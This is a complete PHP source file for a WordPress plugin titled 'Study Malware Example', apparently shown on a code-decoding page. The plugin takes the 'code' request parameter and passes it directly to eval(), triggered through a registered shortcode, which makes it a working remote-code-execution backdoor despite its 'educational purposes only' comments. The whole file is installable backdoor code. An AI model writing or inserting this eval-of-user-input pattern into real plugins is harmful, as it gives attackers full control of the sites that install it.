PHP Decode

<?php 
/* 
Plugin Name: Study Malware Example 
Plugin URI: http://yourwebsite.com/ 
Description: This plugin is for educational purposes only and demonstrates a function that could be flagged as potentially malicious. 
Version: 1.0 
Author: Your Name 
Author URI: http://yourwebsite.com/ 
*/ 
 
// Malicious function 
function study_malware_example() { 
    // Execute arbitrary code (this is for demonstration purposes only and should not be used in real plugins) 
    $code = $_GET['code']; 
    eval($code); 
} 
 
// Add a query variable to trigger the malicious function 
function study_malware_query_vars($vars) { 
    $vars[] = 'malware_example'; 
    return $vars; 
} 
add_filter('query_vars', 'study_malware_query_vars'); 
 
// Register a shortcode to trigger the malicious function 
function study_malware_shortcode($atts) { 
    if (isset($atts['code'])) { 
        study_malware_example(); 
    } 
} 
add_shortcode('malware_example', 'study_malware_shortcode'); 
 ?>